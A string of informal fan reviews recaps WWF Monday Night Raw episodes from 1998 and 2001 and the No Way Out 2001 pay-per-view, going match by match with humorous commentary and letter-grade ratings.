Back with Debra crying in the ring for Austin’s life. This is really bad stuff. Back to Angle and Austin with Austin showing those acting skills as he begs. The payoff for this is Angle demands a rematch at Unforgiven which he gets, and then shoves Austin into a kids’ swimming pool and steals the truck. Yeah seriously, that’s it. Quick question: WHERE DID HE HAVE THE POOL? Did he leave it on a bridge in Toronto for the last hour and no one moved it? That’s a stretch even for a wrestling storyline.

Overall Rating: C-. Well it was a little better but that’s still not saying much. The Christian turn was good and we FINALLY set up a match for Unforgiven, but at the same time it’s still not an interesting show given what they have to work with. That sums up the Alliance in a nutshell: they had everything and gave us nothing of note.

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Monday Night Raw – August 27, 2001: They Do Know There’s A PPV In A Few Weeks Right?

Monday Night Raw
Date: August 27, 2001
Location: Van Andel Arena, Grand Rapids, Michigan
Attendance: 9,972
Commentators: Paul Heyman, Jim Ross

Back to 2001 now with us getting closer to Unforgiven. The main feud is still Angle vs. Austin with some Booker vs. Rock thrown in on the side. I barely remember the last one of these that I did which is probably because I haven’t done one in about a month. I remember them being just ok for the most part though which isn’t a good sign. Let’s get to it.

We open with a clip of Austin cheating to beat Jericho to keep the title on Thursday.

Rock defends against Rhyno tonight.

Here’s Shane to open things up. He talks about buying WCW about five months ago and doing it to own the most dominant brand in sports entertainment. The fans don’t really buy that but whatever. One of the things that came with WCW was its champion, Booker T. He was a champion you could be proud of, unlike the current WCW Champion The Rock. It’s all about the money and Rock as champion doesn’t make the money for WCW, because Rock has nothing to do with its history. Therefore, the next champion will be….Rhyno. Come on Shane you’re smarter than that.

Cue Rock who says he knows the history of the WCW Title and how it traces back to Frank Gotch (it doesn’t), Lou Thesz (kind of), Ricky Steamboat and Ric Flair. Rock also knows what the title has come to: Diamond Dallas Page, Booker T, the guy from Scream 2, the maid from the Jeffersons and so on. It’s like Stephanie: everyone gets a turn. Now though the title means something and the Rock will be the most electrifying WCW Champion of all time.

Rock knows he’ll be defending against Rhyno later tonight, but how about right now he comes down there and gives Shane a shot right now? Shane does the Just Bring It hand sign so here comes Rocky. Naturally it’s a trap as Rhyno comes in and Gores Rock to get an advantage later tonight.

Austin has a bad arm which Debra is trying to tend to. As he yells at her, RVD and Raven come in. They have a Hardcore Title match later and since it’s Alliance vs. Alliance they want Austin’s blessing. Instead Austin puts them in the main event instead of him and a mystery partner against Jericho/Angle.

Undertaker vs. Albert

They slug it out and Taker reverses an Irish whip to take over. Old School hits and he does his still bad cross armbreaker. Taker has to stop to chase X-Pac around like it’s 1999 and walks into a shot with the Cruiserweight Title. That gets X-Pac an evil glare so Albert jumps Taker but can’t hit whatever the chokebomb was called at this point. Oh it’s the BaldoBomb. Thanks Paul. Anyway it’s countered into the chokeslam for the pin by Taker.

Rating: D. Taker was in a bad BAD funk at this point and by funk I mean he sucked for about three years. He wouldn’t sell ANYTHING for anyone other than a giant, which is why Kronik was brought in for one of the worst matches in recorded history. This match did nothing for Albert, but that might be for the best.

Shane Helms talks about superheroes before his match with Matt. Ok then.

European Title: Hurricane vs. Matt Hardy

This is the debut of the Hurricane superhero character but he has hip hop music still. Matt looks shocked but he clotheslines Hurricane down quickly. Superkick by Helms sets up a top rope cross body for two. There’s a Russian legsweep by Matt and Hurricane is in trouble. The middle rope leg gets two. A cross body misses for Matt and here’s Ivory to hit Lita in the knee with a pipe. She hits Matt as well, allowing Hurricane to hit the Eye of the Hurricane to steal the pin and the title. This was really quick.

Angle ignores Michael Cole so Cole follows him anyway. Angle finds Raven and gives him a big old beating, putting him in an ankle lock before screaming that RVD needs a new partner.

After a break, here’s the EXACT SAME SEGMENT IN FULL. Good grief.

Lita gets her knee looked at when Raven comes in to get attention as well. The trainer says Raven can’t wrestle so Shawn Stasiak pops in to offer his services to take his place. Austin calls him selfish but gives him the shot anyway. Stasiak leaves so Austin yells at Raven for making him go out there tonight. Austin hits him in the ankle because he’s that kind of guy. I guess Matt and Lita were just watching in the back.

Edge is having a soda when Hugh Morrus comes in to make fun of his fake name. Edge points out how stupid that is and thinks his name should he Hugh Suck. Christian comes in and somehow gets Hugh an IC Title match tonight.

We get a clip of whatever Smackdown Test joined the Alliance on and cost the APA the tag titles.

Test vs. Bradshaw

Brawl to start of course and Bradshaw takes over, hitting a DDT. Shane is at ringside and offers a distraction to let Test take over. Full nelson slam puts Bradshaw down and Test pounds away. Bradshaw tries the Clothesline but Test hits a sidewalk slam to put him right back down. The flying elbow misses and Bradshaw powerslams him for two.

Test tries a cross body into the corner so that Bradshaw can hit the fallaway slam to put him back down. Shane gets up on the apron but Bradshaw sends Test into him for two. Farrooq chases Shane but gets taken down by Test. Bradshaw chases him back in and walks into the big boot for the pin.

Rating: C. This was a MUCH better match than you would have expected. It’s a good example of a match where two power guys didn’t try to be anything more than two power guys, which usually results in an ok match. The interference was a bit overdone but it’s 2001 WWF after all so what else was to be expected? Good match and I was rather surprised by it.

Austin is yelling about Angle attacking Raven when RVD comes in. He thinks Austin did it so that he could team with RVD which would be perfect. RVD says he’ll carry the whole match. Debra likes the idea but Austin doesn’t think so. He’ll get back to RVD on that.

Stasiak is stalking Angle and gets Stacy to help him.

WCW World Title: The Rock vs. Rhyno

They start in the aisle and Rhyno Gores him almost immediately to hurt the ribs again. That gets a quick two in the ring as does a standing powerslam. Rock launches him over the top to give himself a breather. He can’t follow up though because of the ribs so Rhyno throws on a bearhug. This goes on for over a minute which is quite a bearhug. Rock finally punches out of it and hits a Samoan Drop to put both guys down.

A shoulder to the ribs puts Rock right back down as this has been one sided. Suplex gets two. Rock comes back with that belly to belly throw of his and both guys are down again. Back up and the jumping clothesline and DDT get two on Rhyno. A clothesline puts Rock down but he nips up and hits a spinebuster as Shane comes out. A low blow puts Rock down and here’s the APA to chase Shane off. Gore misses and the Rock Bottom retains the title.

Rating: C+. This was a very basic power man vs. injured ribs match and it worked quite well. This is something that is completely missing from Raw and Smackdown today: a main event guy against a midcarder with the champion having some trouble but nothing horrible. They had a pretty good match and you don’t waste anything big on it. Why is that so hard to grasp today?

Stasiak has put a bucket of rancid milk over the door to fall on Angle when he comes through the door. It’ll blind him and Stasiak will beat him up. And Debra comes in instead. COMEDY!

Austin blames Angle for what happened.

Intercontinental Title: Edge vs. Hugh Morrus

Christian sits in on commentary. Morrus takes him into the corner to start and splashes him to take over. Edge comes back with a drop toehold and a cradle for two. Jackknife cover gets two but Hugh grabs a powerslam for two. Elbow drop gets the same. Suplex puts Edge down and Morrus keeps telling Edge to say it. No idea what that means but Morrus never made a lot of sense. Top rope elbow misses and Edge comes back with clotheslines and a spinwheel kick. Edge-O-Matic gets two but Morrus flapjacks him down. He loads up the moonsault but Christian pops up and hits him for the DQ. Uh….ok?

Rating: D+. Nothing to see here at all. This wouldn’t lead anywhere for Morrus but I guess it furthers the Christian and Edge split, which wouldn’t happen for over another month. The match was nothing of note at all as Morrus was about as low on the Alliance pole as you could possibly be, which made the ending here pretty clear.

Booker is mad at Rock for stealing the title so here’s a clip of the midget from last week. We get a clip from earlier today with Show doing a Booker impression. To put it mildly, it’s REALLY bad.

Stephanie and Jericho run into each other in the back. She says Y2J is five minutes ago and it’s all about RVD now. Jericho says she should be saying H-O-E. This was stupid too.

Big Show vs. Booker T

Booker tries a quick spin kick which is caught and powerbombed with ease. Show throws him around and chops Booker in the corner but the Alley-Oop is countered. Booker superkicks him and hits the ax kick and here’s the Spinarooni. Show sets up the chokeslam but Booker distracts the referee and kicks Show low. That doesn’t do much and they go to the floor but Show’s knee goes into the steps and Booker hits him with a chair for the quick DQ. What was this supposed to accomplish? Getting Booker revenge? That’s fine but have him get a win and put him over Big Show, not this.

Chris Jericho/Kurt Angle vs. Rob Van Dam/???

Austin comes out but not in wrestling gear. There’s a mystery partner and that partner is….Taz. Well that’s kind of a letdown. Angle stomps on RVD in the corner and they’re starting I think. RVD takes him down with a kick and it’s off to Taz. Angle cross bodies him down and here’s Jericho. The Alliance takes over but Jericho manages a Breakdown (Skull Crushing Finale) on RVD for two.

Rob gets in another kick (no, really) and goes up, but Jericho makes the stop and superplexes him for two. Taz comes in to hit his crossface shots to the face which he dedicates to Austin. Heyman compares Austin to John Wayne and says Austin is the better American, almost starting a war between New York and Oklahoma. Rob hooks a chinlock but Jericho escapes and rolls him up for two.

Rolling Thunder gets two and it’s back to Taz who almost allows the tag to Angle. Van Dam hits his spinning legdrop and it’s back to the chinlock for a few seconds. Sunset flip gets two for the Canadian but Rob kicks him down again. Split legged moonsault hits knees though and there’s the tag to Angle. The Alliance takes him down with relative ease and Van Dam hits the Frog Splash but Taz only gets two off of it. Jericho puts Van Dam in the Walls on the floor but Austin breaks it up. In the ring Angle escapes the Tazmission and the Angle Slam ends this.

Rating: C. This was a main event tag match to the letter. Not a great match or anything but for what it was this was fine. It helps to set up the Austin being a hunted man angle, especially with the post match stuff. It also furthers Taz having issues with the Alliance which didn’t go much of anywhere but it happened.

Austin beats up Angle post match and steals his medals. JR freaks out to end the show.

Overall Rating: D. This didn’t work for me for the most part. There’s some good stuff in it, but it felt like the show was spinning its wheels for the majority of the time. I don’t know what this is supposed to do and Unforgiven hasn’t even been mentioned yet. The Alliance was about two and a half months away from dying but it seems like they’re on life support by this point. Weak show.

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Monday Night Raw – August 24, 1998: A DQ In The Cell

Monday Night Raw
Date: August 24, 1998
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Attendance: 14,727
Commentators: Jim Ross, Jerry Lawler

Man it’s been awhile since I’ve done one of these hasn’t it? I kind of gor sidetracked by some newer Raws and Superstars plus that whole Wrestlemania thing but we’re back now. This is the go home show for Summerslam so expect a final push for Undertaker vs. Austin. That show wound up being awesome so hopefully this one is too. Tonight is also the end of Brawl For All, THANK GOODNESS. Let’s get to it.

Undertaker and Kane come in through a back door. Or maybe it’s a locker room.

Theme song.

It was a locker room.

Taker and Kane come out together to open the show. JR calls Undertaker Mankind for some reason. The Cell is above the ring. Before they say anything, Vince comes out and is all smiles. It’s his birthday according to JR. Then again according to him the 7ft guy in all black will debut a sock puppet one day. Vince: “Well, Undertaker and Kane have finally come out of the casket.” Vince McMahon: True Blood writer?

Vince says he told us all so and he tells us that twice. He says that Undertaker doesn’t need him since he has Kane by his side now. However, once Undertaker becomes champion, there will be a time when he need Vince for his mind. Before the night is over, Vince wants an answer to the question “Vince McMahon: friend or foe?” Paul Bearer comes out and asks Kane if it’s true or a nightmare.

He says he’s the one that’s always been there for Kane and asks Kane to destroy Undertaker for daddy. Taker jumps Bearer and Kane walks away. Mankind comes out for the save….and gets beaten down by both brothers without fighting back at all. Kane loads up the Tombstone and Taker goes up top to make it a SPIKE TOMBSTONE. Why didn’t they bust that bad boy out more often?

Vince says now only Austin remains between Taker and the title. Cue Austin to keep this segment going. He pops up on the stage and a wall of fire comes up. Austin (now with the Smoking Skull belt. Not sure if that had been seen before) says he knew they were together all along and that he doesn’t appreciate being set on fire. He can’t beat both of them at once so tonight, he’s taking one of them out.

Ken Shamrock vs. Dan Severn

Mankind has been taken out in an ambulance. This is a result of the triple threat last week where Severn choked Shamrock out post match. They both fight for the leg control to start but Severn rolls into the ropes by mistake. He comes back with a powerbomb but doesn’t cover. After a gordbuster a powerslam gets two…and Owen runs in for the DQ. He chokes Shamrock but Blackman runs in to clear that up. This feud just kept going and going. Too short to rate but it was certainly different. Shamrock snaps and suplexes Blackman post match. Then Blackman suplexes Shamrock.

Mankind is out of the ambulance and playing with the stretcher.

Summerslam Highway video. This is still awesome.

Post break Mankind surfs down the ramp on a stretcher. He gets in the ring and says it was cahoots all along. A good cub scout should always be prepared and his good cub scout leader Mr. McMahon said that Kane wasn’t good but Mankind didn’t listen. Tonight it’s Kane vs. Mankind in the Cell. He wants to know what kind of idiot would get back into the same match that almost killed him. Somehow he’s going to throw Kane off the cage or through it, onto 7000 thumbtacks.

We get some clips of the “last” Cell match which is between Taker and Foley. Even they’re already disowning the tag team one.

Here’s Sable to announce the next match.

Marc Mero vs. Kurrgan

Sable dances with the Oddities pre match. No Jackie this week. She’d be at Summerslam for a mixed tag though. Mero asks the Oddities to leave which they do willingly. Kurrgan overpowers him down and dances a bit. Mero goes for the knee until Kurrgan picks him up and hits what we would call a Punjabi Plunge. Jackie runs through the crowd and beats down Sable as Mero hits Kurrgan low for the DQ. This was pointless.

X-Pac relieves himself in someone’s boots.

Southern Justice vs. New Age Outlaws

Someone with a deep voice pops in on commentary. He sounds like he’s doing a Terry Funk impression. Oh it’s Hawk who is bombed still. Jarrett comes out before the match with something to say but his mic doesn’t work. He gets on the headset and reveals those were his boots. Canterbury and Gunn start things off with the Outlaws taking over. Off to Roadie for the dancing punches. Jeff challenges him to a match which was already announced. Off to Knight for a suplex as the match is being ignored. With the referee distracted, Gunn piledrives Knight for the pin. The match was just a backdrop for Jarrett’s ranting.

Jarrett gets annoyed at the cameraman for shooting his boots so Southern Justice holds him for a haircut.

Mankind vs. Kane

Inside the Cell. Kane comes out first so once he’s in the Cell, Mankind tries to climb the cage. He beats up the referee that tries to stop him which lets him ram the cage door on Kane’s head. They fight outside the Cell and Foley tries to throw a chair on top of the cage twice, one of this might have hit Lawler on the way down. He tries to climb up and Taker pops up from out of nowhere to pull him off and through the table. They haven’t been inside the Cell together yet.

Now Kane comes back around to beat Mankind up some more. Kane drags him towards the door and slams it on Mankind’s body which is on the ground. Ok NOW they’re inside the cage together. Kane throws the steps into the ring and beats him in the head with it as Taker watches. He manages a dive over the top to the floor to take out Mankind before trying to throw the steps on top of him from the ring.

Mankind manages to sneak under the ring and comes out with a chair plus the bag of tacks. The chair shot to Kane’s head gets a HUGE pop which suggests the popularity Foley could have as a face. Chokeslam attempt is countered by the Claw but they slug it out instead. Piledriver to Kane sends him into the tacks without much force, but it’s not played up as a huge deal. Mankind goes up but Kane clocks him with a chair.

Chokeslam puts Foley down and there’s the tombstone but Kane won’t cover. Taker sends him a throat slit sign so Kane picks up another chair. Foley gets up and a pair of chair shots to the head puts him down. Mankind gets up AGAIN but walks into a tombstone on the chair. Austin pops out from under the ring (that’s a Russo Special) and destroys Kane, resulting in probably the only DQ in the history of the Cell.

Rating: C+. This was more about the ending of the match than the match itself. The main idea here though was to basically turn Foley face through feeling bad about the horrible beating he took. It’s not a great match or anything but it pretty much did its job. They would lose the titles on Sunday anyway so Kane and Mankind could split in peace.

Taker tries to get in to stop the beating but Vince raises the Cell to prevent Austin vs. Taker from happening before Sunday.

Post break Taker calls Austin a coward for jumping Kane. He says that seals Austin’s fate and tonight, he’ll take his revenge because it’s personal.

Here’s Chyna who wants to call out Rock because of the beating HHH got from the Nation last week. Before she says anything Rock is here. The rest of the Nation comes out as well with a ladder. I think I remember this segment happening live. Rock gets on the bottom rung of the ladder and shows Chyna a shot of DX’s locker room with a forklift in front of it. Rock talks about going to Summerslam, climbing the People’s ladder rung by rung and taking his Intercontinental Title back.

As for Chyna, he sees her looking at him with those bedroom eyes. She’s a very frustrated woman and Rock can’t blame her at all for that. The one conclusion is that Chyna needs to get some. About 2am tonight, Rock can be the man to give it to her. She lunges at him but Brown and Owen make her stop. Rock says she looks natural on her knees and leans down to kiss her but says he doesn’t kiss trash like you. Mark Henry however can do it but Shawn Michaels runs out with a chair to the head of Henry to save Chyna.

Post break DX is out of the room and looking for DX in the parking lot.

Val Venis vs. Taka Michnoku

This is technically a rematch from last week where Val ran the gauntlet but lost to Taka in the final match. Taka takes him down with a spinwheel kick but Val shrugs it off. Shawn is on commentary now but won’t tell us much his relationship with DX. Val powerbombs him and hits the Money Shot but HHH comes in with a chair shot to break it up.

HHH is MAD and says at Summerslam, Rocky belong to him. He was a bit more colorful than that but you get the idea.

We get an extended edition of the Austin vs. Taker video.

X-Pac vs. Gangrel

Gangrel jumps him to start but Pac comes back with a spinning kick. Powerslam gets two for Gangrel and a powerbomb puts Pac down. A Swan Dive misses and Edge is watching. Pac comes back and hits the Bronco Buster but here’s Jarrett with a guitar shot for the DQ.

After DX gets X-Pac out of the ring, Edge runs in and beats down Gangrel.

Undertaker has a casket.

Brawl For All Finals: Bradshaw vs. Bart Gunn

THANK GOODNESS it ends here. I couldn’t take much more of this. We get a recap of this for some reason. Bart knocks him down in about ten seconds and the knockout is complete at 42 seconds. Dang I was hoping to get some reading in during this thing. Bart gets 75 grand and Bradshaw gets 25 grand, as this becomes one of the biggest jokes in company history. Bart didn’t get pushed AT ALL after this, other than forgettable and short feuds with Steve Williams and Hardcore Holly. No title shots, no big angles, no MMA gimmick change, nothing. We wasted six weeks on NOTHING.

Vince says he’ll get his answer tonight. You can hear stage directors saying to get the casket ready.

The lights go blue and the druids start chanting as some guy in a white jacket goes up the ramp for some reason. The druids brings out a casket and Undertaker follows with his new demonic music. Taker says Kane has his own business at Summerslam but for tonight, Taker wants Austin. Here’s Vince instead who asks friend or foe. He extends his hand and is promptly chokeslammed.

Austin pops out of the casket and talks trash to Vince. Now Kane pops out of the casket and beats up Austin while Undertaker watches. Austin gets to the floor and grabs a chair but walks away instead of fighting a losing battle. See, that’s how you have a smart but still tough face. In a cool visual, flames comes up (slowly) down the middle of the ramp, making it look like the dividing line on a highway, to end the show.

Overall Rating: B-. This is a hard one to grade. They certainly did a good job of pushing Summerslam as I think every match got at least a mention other than Brown vs. Venis (which for some reason would last fifteen minutes). However the main event stuff felt like a month of stories in one night. Tonight alone we had: Vince telling Undertaker to pick, Austin attacking Kane in the Cell, Austin and Kane in the casket, Undertaker and Kane officially uniting, Paul Bearer pleading with Kane, and probably some other stuff I’m forgetting. All of that in ONE SHOW. It was a bit too much for me, but the PPV makes up for it.

Here’s Summerslam if you’re interested:

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No Way Out 2001: Austin’s Best Match Ever? Maybe.

No Way Out 2001
Date: February 25, 2001
Location: Thomas & Mack Center, Las Vegas, Nevada
Attendance: 15, 223
Commentators: Jim Ross, Jerry Lawler

This is a more or less forgotten show in WWF history which is a shame because it really is a good one. The problem it has is that it’s stuck between a great Rumble and the best PPV of all time. This is most certainly a two match show as there are only two that I remember at all and only two that mean anything. The first is Angle vs. Rock for the title, and I think you know how that’s going to go.

The other match, and the reason I get this requested a lot, is why this show is so popular. It’s Austin vs. HHH in a 2 out of three falls match. The first is a regular match, the second is a street fight and the third is a cage match. This is Austin’s first major one on one match since his neck surgery so we’re really seeing if he’s back. HHH is the guy that was behind his attack so this is a huge revenge match. It’s been called the best match of Austin’s career and there may be something to that. That would include the I Quit match, so let’s get to it.

The opening video is about the two matches. At least they’re not pretending to be something they’re not here.

Hardcore Title: Big Show vs. Raven

Raven has the belt and the better music here. He brings his own weapons as was his custom. Raven’s ninja (Tori, a girl, in a black suit) jumps Show on the ramp and it goes nowhere as you would expect. Show is in his one piece women’s swimsuit here and I still hate it. Show misses a splash against the post and is rocked.

Raven jumps on his back which works about as well as every diet Show goes on. The required fire extinguisher is used by the bird man. Ross suggests a blunt object to the head. And now a popcorn vendor is jumping Raven. He looks like Elroy Jetson and Show more or less kills him (It’s Crash). Show beats up Raven and Blackman and Holly come out to beat up Show.

Billy Gunn slips in from behind and messes up a Fameasser on Raven to steal the title. Naturally he sticks around instead of RUNNING, resulting in taking a Sidewinder, which is his old finishing move in the Smoking Guns. Show clears the ring and Raven steals the title back. Crash gets two but a chokeslam onto a trashcan gets the title. Oh and Molly and the Ninja came down and fought too. Show beats Billy up as he leaves for fun.

Rating: C. This wasn’t supposed to be serious and it wasn’t. This was just a fun little match and sequence that was designed to make things comedic. Show vs. Kane vs. Raven would be the Hardcore Title match at Mania and was far better, but it’s a different kind of match. This was fine though.

Angle gets here and is still a happy go lucky jerk who can be awesome in the ring.

Benoit and Eddie are with Lillian. They say only the title matters tonight.

Intercontinental Title: Chris Jericho vs. X-Pac vs. Eddie Guerrero vs. Chris Benoit

Jericho took the title from Benoit at the Rumble. He also put Pac out with an injury as well as Eddie. So there are your reasons for people to be in there. The Radicalz jump the ring and it’s immediately on. Pac vs. Benoit and Eddie vs. Jericho to start. One fall to a finish here. Everybody gets in the ring and it’s a big slugout.

Benoit and Eddie team up but Benoit tries to steal the win with the Crossface on X-Pac. Jericho takes forever to break it up but just makes it. Frog Splash to Pac for two. Bronco Buster on Benoit doesn’t hit as Jericho kicks his head off. The Radicalz slug it out to a big reaction. Benoit covers Eddie and Jericho covers Pac but both get two.

We get down to Benoit and Jericho for a bit which is probably the most entertaining combination here. Liontamer goes on but Eddie comes in for the save. He winds up in them instead. Ok make that Pac is in them. Justin Credible of all people runs out for the save and Benoit hits a Dragon Suplex for two. Pac and Credible beat up Benoit with a double superkick.

Lionsault gets two on Eddie as Pac gets a low blow and X Factor on Jericho. Very fast paced and exciting stuff here. Crossface on Pac but Eddie with a SWEET running front flip neckbreaker to break it up. Swan Dive to Eddie’s arm and then Benoit gets his head kicked off by Pac. Jericho slides in from nowhere and steals the pin to retain on X-Pac. Sweet match.

Rating: B+. This was great stuff as everyone was flying all over the place and stealing covers and breaking up pins. Jericho coming in to steal the pin made sense as he was probably the most impressive guy out there. It was a great match which was high impact and incredibly fast paced. The guys got to show off and it worked like a charm. Very good match.

HHH is getting taped up for the match.

Regal is with Vince who tells him to do the right thing in the Stephanie vs. Trish match. He has no idea what that is.

We recap Trish vs. Stephanie. This is in the middle of the Vince wants a divorce and Linda is in a sanitarium and Trish is screwing Vince and Stephanie hates Trish and wants to be the top girl in the company angle. I can’t stand those simple and basic angles that are a dime a dozen.

Busta Rhymes is at WWF New York, as is Test. He wants the girls to beat each other to death.

Regal tries to talk to Trish but she has someone to slap.

Stephanie looks AWESOME in her outfit here.

Ad for WWF the Music Volume 5. Wow that sounds forever ago.

Trish Stratus vs. Stephanie McMahon

Trish is curvy with a gorgeous face at this point. She has no talent as far as we know in the ring so Stephanie is probably the ring general in this match. She has the awesome old school HHH music though so I can’t complain. It’s nice to see one of the girls in a t-shirt though instead of their traditional stuff. Spear and a slap fight start us off.

We’re in the crowd in like a minute as this is a big fight. Stephanie dives off the barricade with a big punch to the chest. Granted it’s hard to miss so there we are. Bulldog by Trish but it means nothing yet so it only gets two. They do the smart thing here and don’t try to make this into a wrestling match, opting instead for a fight. Water gets involved, making Lawler freak out.

Trish with wet hair and a wet chest: win. A powerbomb from Stephanie gets two and down come Trish’s shorts for a spanking. Trish in a thong wins also. The girls both go down (lucky) as does the referee. Cue Regal, who puts Trish on top (works for me) but then saves Stephanie from getting pinned since he doesn’t know what the right thing is. Trish slaps him so he takes her down with a neckbreaker for the pin.

Rating: B-. This is considering who was in there and the level of their talent. It’s no classic, but considering who was in there, this was AWESOME. They didn’t bother trying to have a match and just beat each other up, which was without a doubt the right way to go. Trish would of course get FAR better, but this was pretty good considering what they had to work with. Regal saving us from the attempt at a finishing sequence was a nice break too.

Vince is mad at Regal for what he just did. Vince/Stephanie vs. Trish/Vince tomorrow, which I think led to the Vince’s Club.

Ad for Mania, which is made of awesome. If you cut it’s arm off and looked down at it, the part that has blood it in would say AWESOME.

We recap HHH vs. Austin, if you need it. In short, HHH paid off Rikishi to run over Austin so he had to take a year off. They hate each other in general also if they need any additional reasons. Like I said, I doubt you need an explanation on this one. If you do, why are you reading this? There was a very clever thing done by HHH: After they signed the contract, Vince had said if they touched each other before No Way Out, Austin would lose his title shot at Mania and HHH would be suspended for six months. Austin signed and HHH blasted him. Vince said what are you doing? HHH only signed the first H. Austin beat up Stephanie and HHH beat up JR the previous week.

Cole, with his stupid blonde highlights, gets a blank stare from Austin.

Steve Austin vs. HHH

First is a regular match, second is street fight, third is cage. MASSIVE pop for Austin, but the crowd has been white hot all night. I’m surprised that this is in the middle of the card but you know it’s going to get some time. Maybe they want to do this so the crowd isn’t spent at the end? Naturally it’s a slugfest to start. Mudhole is stomped 30 seconds in. Big old AUSTIN chant as he dominates early on.

Modified hot shot to take down Austin though as this is fast paced for the most part. Pedigree is blocked into a DDT on the arm which I need to learn the name of. We head to the floor as Austin works the arm. This is a regular match but Austin ramming HHH’s arm into a post about 6 times is perfectly fine? HHH can’t do the Pedigree because of his arm, which is SELLING! Simply shaking your arm is passable, but having it prevent you from doing your moves is SELLING.

Thesz Press and Austin is dominant so far. HHH gets his foot up when Austin is coming off the ropes, but for once Austin actually has his arms up to look like he’s doing a move. I hate when people just jump into it for the sake of jumping into it. Neckbreaker takes HHH down but it doesn’t do much due to the weak arm.

HHH goes after the knee which is Austin’s weak point as well. He goes for the leg into the post thing but Austin counters and HHH and the nose of doom hit the post. Back to the knee as HHH takes over with a figure four. Austin gets out and does a nice move where he gets HHH n the mat and beats on him with his leg. Cooler than it sounds. Thesz Press and the elbow get two.

Everyone counters everything and we slug it out. HHH gets a kick to the knee and goes to the middle rope. He jumps into the boot though and Austin hits the Stunner for the completely clean pinfall.

No rest period between falls and we’re right back at it again. It’s a street fight now and we hit the floor. Austin’s knee is ok I guess as he hits some suplexes on the floor. Monitor connects with HHH’s head and apparently it’s broken. Naturally we head into the crowd and it’s all Austin. Back in the ring and Austin destroys HHH Rock-Style with a chair.

After nearly murdering HHH we head back to the floor where Austin finds a 2×4 wrapped in barbed wire for no apparent reason. A low blows allows HHH to blast him in the face with it though and Austin is bleeding. HHH sets for the Pedigree on the table but Austin counters and sends him through the other table which EXPLODES. Awesome stuff so far if you can’t tell.

Back in the ring a bell shot (Austin brought it in earlier) gets two for HHH. This is a war with both guys hitting all these big shots out of desperation. Back to the neck with a neckbreaker onto the chair for two. Backdrop by Austin sends HHH free falling over the top. Cool looking drop. More weapons stuff on the floor but the intensity and selling is making it work.

You can barely hear Lawler here as his mic is messed up or something. HHH finds a sledgehammer and Lawler accuses JR for putting it there. Back in the ring again and a Stunner is blocked by a sledgehammer shot to Austin’s head. Pedigree follows that and thankfully that ties us up at 1-1. I would have rolled my eyes very heavily if Austin had kicked out of that.

The cage is lowered as we get a quick break. It’s been about 30 minutes so far and nothing but awesome. Austin is more or less dead and eats the cage again. HHH gets the barbed wire 2×4 and rips Austin’s face open a bit more with it. The sledgehammer and at least one chair are also in there with them. Make that two chairs, one of which saves Austin as he blasts HHH in the head with it.

HHH gets it in the face (I would have thought that would have been Stephanie but whatever) for a long time but gets a DDT out of desperation onto the chair but it only gets two. The crowd is a bit silent but it’s pretty clear that the fans know nothing is going to end without something huge. Austin comes back and goes OFF on HHH who just collapses face first out of the corner.

Game tries to bale but he Austin makes two saves, culminating with an old school slam off the top rope. Stunner is blocked but the Pedigree hits for TWO. The place erupts on the kickout and HHH is shocked. Another is blocked and HHH gets hit with a slingshot into the cage. Stunner hits and both guys are out. After the break Austin covers for two as this is awesome. HHH gets the hammer and Austin gets the 2×4. Both swing with everything they’ve got and connect, but HHH falls on Austin for the pin. I think I need a cigarette.

Rating: A+. Without question, this is awesome. Any of the three falls is great to say the least and the ending was perfect. Both guys are protected but not in a way that makes it look like they’re being protected. HHH got lucky and won it, as Lawler says that it’s not fair to say either guy really won. Just an absolute WAR with these two beating the living tar out of each other and making the crowd love every minute of it. With 40 minutes of these two beating each other to death, how is it not a perfect match?

Austin stuns HHH afterwards for fun.

On Smackdown, the RTC tried to beat up Kat so Lawler made the save, setting up a match tonight.

Stevie gives the RTC a pep talk.

Kat has a shirt on and nothing else. She wanted to be allowed to wear less than that on TV.

Jerry Lawler vs. Steven Richards

Tazz does commentary in Lawler’s place. He’s still a wrestler so this is a new thing for him. He’s a bit like his normal commentating self but not all the way yet. Lawler makes a full entrance despite being at the commentary desk not 2 minutes ago. We see a clip of the RTC stopping the (XFL’s) Las Vegas Outlaws cheerleaders last night. RTC was a parody of the Parents Television Council who got on Vince every 9 seconds for something he did.

This is the walking definition of a catch your breath match as the fans need something worthless to bridge the gap from the war they just saw to the last two matches. Lawler expands his offense from just punches by adding in rapid fire punches. This is why it’s great to have someone like Lawler around: you can throw him in there for something like this and you know he’s going to at least be passable, especially since he only wrestles like twice a year so his expectations are very low.

Kat and Ivory go at it for a bit but the distraction allows Richards to take over. Richards misses a splash in the corner and Lawler takes over for a bit. Apparently if he wins Kat gets to be naked. Ivory comes in and Teddy Long takes FOREVER to get rid of her. Kat tries to hit Richards with Ivory’s belt but she nails Lawler by mistake for the pin. Kat has to join RTC now, but she was released in like two weeks, resulting in Lawler quitting. They were married at the time.

Rating: D. This was pretty weak but at the same time it was about as good as it was going to get. It was on the level of a pretty bad TV match but like I said this was designed to just fill in about 10 minutes so that the fans could breathe a bit. Nothing special at all but it did its job I guess.

We recap the tag title stuff which is another three way feud. Edge and Christian gave Kane a Conchairto on Monday night.

Taker says a lot of basic stuff.

Chyna’s book is popular. Random to say the least.

Tag Titles: Undertaker/Kane vs. Edge/Christian vs. Dudley Boyz

This is a tables match but not elimination style. Uh sure. The Brothers go after Edge and Christian in the aisle but stop when the Dudleys come out and corner them. Dudleys are champions here. The Canadians hide and it’s on early. It’s a massive brawl of course. Tazz is still on commentary here. The table HHH went through is still just in pieces on the floor which is funny for some reason as it always is.

The Dudleys are down and the Brothers beat up the Canadians. The champs make the save from a double powerbomb but Bubba slips on a chair and falls on his back. For the first time we get in the ring and Bubba gets his crotch stepped on. What’s up to Edge makes up for that though. This is just a big mess of course but it’s fun. Taker and Kane stop the getting of tables and Christian hits Unprettier on Bubba in the ring.

Stereo powerslams by the big men and then they both go up. Taker goes airborne which isn’t something you see that often really. We get some near endings but a bunch of saves are made including a low blow to Taker. A pair of chokeslams hit but there aren’t any tables. The Dudleys get chokeslammed too and the Brothers stand very tall.

They set for stereo powerbombs but Rikishi and Haku waddle down to stop it and brawl with the monsters. Have we ever had a generation without an evil Samoan team? For some reason Vince thought these Samoans would be a good choice for a team, even though Haku wasn’t Samoan. The monsters all go up the ramp to tick off the crowd. 3D on Christian ends it.

Rating: C+. Just a fun match here but somehow this was supposed to set up monsters vs. monsters, even though the ethnic monsters were gone very soon. This wasn’t much but it definitely wasn’t bad. The constant double teaming got pretty stupid after awhile but it wasn’t horrible. Passable match for what it was, but with TLC 2 next month, it’s hard to stay underwhelmed.

